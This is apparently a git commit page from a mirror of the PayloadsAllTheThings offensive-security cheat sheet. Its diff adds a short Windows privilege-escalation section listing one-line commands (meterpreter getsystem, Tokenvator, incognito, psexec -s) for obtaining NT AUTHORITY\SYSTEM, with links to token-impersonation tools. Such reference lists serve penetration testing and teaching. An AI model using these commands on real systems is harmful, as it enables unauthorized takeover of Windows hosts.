admin/PayloadsAllTHINGS
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

SSRF SVG + Windows Token getsystem

Browse Source
This commit is contained in:
Swissky
2019-08-15 18:21:06 +02:00
parent 9a8b2fee8e
commit b6697d8595
8 changed files with 57 additions and 4 deletions
Download Patch File Download Diff File Expand all files Collapse all files

11
Methodology and Resources/Windows - Privilege Escalation.md
View File

@@ -18,6 +18,7 @@
* [EoP - From local administrator to NT SYSTEM](#eop---from-local-administrator-to-nt-system)
* [EoP - Living Off The Land Binaries and Scripts](#eop---living-off-the-land-binaries-and-scripts)
* [EoP - Impersonation Privileges](#eop---impersonation-privileges)
* [Meterpreter getsystem and alternatives](#meterpreter-getsystem-and-alternatives)
* [RottenPotato (Token Impersonation)](#rottenpotato-token-impersonation)
* [Juicy Potato (abusing the golden privileges)](#juicy-potato-abusing-the-golden-privileges)
* [EoP - Common Vulnerabilities and Exposures](#eop---common-vulnerabilities-and-exposure)
@@ -662,6 +663,16 @@ Microsoft.Workflow.Compiler.exe tests.xml results.xml
## EoP - Impersonation Privileges
### Meterpreter getsystem and alternatives
```powershell
meterpreter> getsystem
Tokenvator.exe getsystem cmd.exe
incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe
psexec -s -i cmd.exe
python getsystem.py # from https://github.com/sailay1996/tokenx_privEsc
```
### RottenPotato (Token Impersonation)
Binary available at : https://github.com/foxglovesec/RottenPotato